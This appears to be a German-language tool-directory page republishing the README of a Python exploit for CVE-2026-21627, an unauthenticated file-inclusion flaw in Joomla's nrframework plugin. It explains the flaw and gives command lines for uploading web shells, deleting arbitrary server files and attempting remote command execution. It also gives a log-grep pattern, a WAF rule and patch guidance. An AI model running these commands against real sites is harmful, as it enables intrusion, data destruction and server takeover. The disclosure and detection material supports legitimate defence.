Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla — Python-Exploit für CVE-2026-21627, eine nicht authentifizierte, beliebige PHP-Dateieinbindung im Novarain Framework von Joomla, die Datei-Upload, -Löschung und RCE ermöglicht. | Kitploit
Tools/GitHubGitHub/yallasec/cve-2026-21627---tassos-novarain-framework-plg_system_nrframework-exploit---joomla
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubyallasec/cve-2026-21627---tassos-novarain-framework-plg_system_nrframework-exploit---joomla

CVE-2026-21627---Tassos-Novarain-Framework-plg_system_nrframework-Exploit---Joomla

Python-Exploit für CVE-2026-21627, eine nicht authentifizierte, beliebige PHP-Dateieinbindung im Novarain Framework von Joomla, die Datei-Upload, -Löschung und RCE ermöglicht.

Repository anzeigen
20vor 7 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-21627

Nicht authentifizierte beliebige Dateieinbindung im Novarain Framework von Joomla (nrframework)

CVSS Joomla Python


Überblick

Eine kritische Schwachstelle im Tassos/Novarain Framework (plg_system_nrframework) Joomla-Plugin ermöglicht es nicht authentifizierten Angreifern, beliebige PHP-Dateien auf dem Server einzubinden, beliebige Klassen zu instanziieren und mit integrierten Gadget-Klassen zu verketten, um beliebige Datei-Uploads und beliebige Datei-Löschungen zu erreichen – alles ohne Authentifizierung.

CVE-IDCVE-2026-21627
CVSS-Score9.5 (Kritisch)
Pluginplg_system_nrframework (Tassos Framework / Novarain Framework)
Betroffene Versionen4.10.14 bis 6.0.37
Behoben in6.0.38+
CMSJoomla 3.x, 4.x, 5.x

Das nrframework-Plugin ist in mehreren beliebten Joomla-Erweiterungen von Tassos.gr enthalten, darunter Convert Forms, Engage Box, Google Structured Data und weitere.

Details zur Schwachstelle

Die Methode ajaxTaskInclude() in nrframework.php ist über das Array $non_admin_tasks explizit für den Frontend-Zugriff (nicht-Admin) freigeschaltet. Sie akzeptiert drei benutzergesteuerte Parameter:

  • path – verwendet den RAW-Eingabefilter (keine Bereinigung, Pfad-Traversal möglich)
  • file – verwendet den standardmäßigen Joomla-Eingabefilter
  • class – Klassenname, der nach der Einbindung instanziiert werden soll

Der verkettete Pfad $path . $file . '.php' wird direkt an @include_once übergeben, was eine beliebige PHP-Dateieinbindung ermöglicht. Nach der Einbindung wird die angegebene Klasse instanziiert und ihre Methode onAJAX() mit benutzergesteuerten Parametern aufgerufen.

Angriffs-Primitive

PrimitiveGadgetSchweregradBeschreibung
DateieinbindungajaxTaskInclude()KritischBeliebiges Einbinden von .php-Dateien auf dem Server
DateilöschungJFormFieldNRInlineFileUpload::onRemove()Kritischunlink() ohne Pfadvalidierung – löscht jede Datei, die vom Webserver beschreibbar ist
Datei-UploadJFormFieldNRInlineFileUpload::onUpload()HochHochladen von Textdateien in jedes beschreibbare, webbasierte Verzeichnis
Pfad-OffenlegungUpload-AntwortMittelVollständiger Dateisystempfad wird in der JSON-Antwort preisgegeben

Verwendung

python3 cve_2026_21627.py --target <URL> --mode <MODUS> [OPTIONEN]

Modi

ModusBeschreibungRisiko
verifyBestätigen, dass die Schwachstelle existiertSicher / Nur lesend
uploadHochladen einer Datei in ein kontrolliertes VerzeichnisMittel
deleteLöschen einer beliebigen Datei auf dem ServerDestruktiv
rceVersuch einer vollständigen RCE-Kette (Upload + Ausführung)Hoch
infoEinbinden einer beliebigen PHP-Datei zur AufklärungMittel

Beispiele

Schwachstelle verifizieren:

python3 cve_2026_21627.py --target https://example.com --mode verify

Proof-of-Concept-Datei hochladen:

python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt

SSI-Shell hochladen (erfordert Apache mod_include):

python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml

RCE-Kette versuchen:

python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"

Eine Datei löschen (destruktiv):

python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt

Optionen

--target, -t       Ziel-URL (erforderlich)
--mode, -m         Exploit-Modus: verify|upload|delete|rce|info (erforderlich)
--sef-prefix       Joomla-SEF-URL-Präfix (Standard: /it/)
--delay            Verzögerung zwischen Anfragen in Sekunden (Standard: 2.5)
--proxy            HTTP-Proxy (z. B. http://127.0.0.1:8080)
--no-ssl-verify    SSL-Zertifikatsprüfung deaktivieren

Upload-Modus:
  --shell-type     Dateityp: shtml|csv|txt|html (Standard: shtml)
  --upload-dir     Upload-Verzeichnis relativ zu JPATH_ROOT (Standard: images)
  --custom-content Benutzerdefinierter Dateiinhalt zum Hochladen

Delete-Modus:
  --file-path      Vollständiger Serverpfad der zu löschenden Datei

RCE-Modus:
  --cmd            Auszuführender Befehl (Standard: id)

Info-Modus:
  --php-path       PHP-Dateipfad relativ zu JPATH_SITE
  --php-file       PHP-Dateiname ohne .php-Erweiterung
  --php-class      Zu instanziierende PHP-Klasse

Funktionsweise

┌──────────────┐    ┌───────────────────┐    ┌─────────────────────┐
│   Angreifer  │───>│  onAjaxNrframework │───>│  ajaxTaskInclude()  │
│              │    │  (AJAX-Router)     │    │                     │
│ task=include │    │  include ist in    │    │ path = RAW-Eingabe  │
│ path=...     │    │  $non_admin_tasks  │    │ @include_once $path │
│ file=...     │    │  (keine Auth nötig)│    │ new $class()->onAJAX│
│ class=...    │    └───────────────────┘    └──────────┬──────────┘
└──────────────┘                                        │
                                                        v
                               ┌─────────────────────────────────────┐
                               │  JFormFieldNRInlineFileUpload       │
                               │  (Gadget-Klasse)                    │
                               │                                     │
                               │  onAjax() ──> onUpload()  [SCHREIBEN]│
                               │           ──> onRemove()  [LÖSCHEN] │
                               └─────────────────────────────────────┘
  1. Session & CSRF – Joomla erstellt Sessions verzögert. Der Exploit löst die Session-Erstellung durch Abfragen des AJAX-Endpunkts aus und extrahiert dann das CSRF-Token aus dem HTML der Startseite.
  2. Dateieinbindung – Die Aufgabe include wird mit einem kontrollierten path aufgerufen (RAW-Filter = keine Bereinigung), der auf die Gadget-Datei zeigt.
  3. Gadget-Ausführung – Die eingebundene Klasse JFormFieldNRInlineFileUpload bietet onUpload() für Datei-Schreibvorgänge und onRemove() für Datei-Löschungen, beide mit unzureichender Eingabevalidierung.

Anforderungen

  • Python 3.7+
  • requests-Bibliothek
pip install requests

Erkennung

Überwachen Sie Zugriffsprotokolle auf Exploit-Versuche:

# Apache/Nginx-Protokollmuster
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log

WAF-Regel – Blockieren Sie Anfragen, die Folgendem entsprechen:

option=com_ajax.*plugin=nrframework.*task=include.*path=

Audit nach Kompromittierung:

  • Prüfen Sie images/ und andere beschreibbare Verzeichnisse auf unerwartete Dateien
  • Verifizieren Sie die Integrität von configuration.php und .htaccess
  • Überprüfen Sie Server-Fehlerprotokolle auf @include_once-Warnungen

Behebung

  1. Aktualisieren Sie nrframework sofort auf Version 6.0.38 oder höher
  2. Der Patch entfernt ajaxTaskInclude() vollständig und ersetzt es durch ein striktes Handler-Registry (AjaxHandlerRegistry)

Zeitplan

DatumEreignis
2026-02Schwachstelle während eines autorisierten Penetrationstests entdeckt
2026-02Exploit erstellt
2026-02Öffentliche Offenlegung

Haftungsausschluss

Tool herunterladen